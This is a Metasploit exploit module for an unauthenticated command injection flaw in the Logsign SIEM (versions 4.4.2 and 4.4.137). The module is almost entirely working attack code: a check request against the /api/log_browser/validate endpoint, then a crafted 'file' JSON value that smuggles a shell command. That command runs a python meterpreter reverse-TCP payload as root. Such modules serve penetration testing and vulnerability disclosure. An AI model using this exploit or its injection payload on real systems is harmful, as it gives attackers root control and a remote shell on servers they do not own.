Logsign Remote Command Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Logsign Remote Command Injection',  
'Description' => %q{  
This module exploits an command injection vulnerability in Logsign.  
By exploiting this vulnerability, unauthenticated users can execute  
arbitrary code under the root user.  
  
Logsign has a publicly accessible endpoint. That endpoint takes a user  
input and then use it during operating system command execution without  
proper validation.  
  
This module was tested against 4.4.2 and 4.4.137 versions.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <[email protected]>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']  
],  
'Privileged' => true,  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'DefaultOptions' =>  
{  
'payload' => 'python/meterpreter/reverse_tcp'  
},  
'Targets' => [ ['Automatic', {}] ],  
'DisclosureDate' => 'Feb 26 2017',  
'DefaultTarget' => 0  
))  
  
end  
  
def check  
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),  
'ctype' => 'application/json',  
'data' => JSON.generate(p_hash)  
)  
  
if res && res.body.include?('{"message": "success", "success": true}')  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("Delivering payload...")  
  
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),  
'ctype' => 'application/json',  
'data' => JSON.generate(p_hash)  
)  
end  
end  
`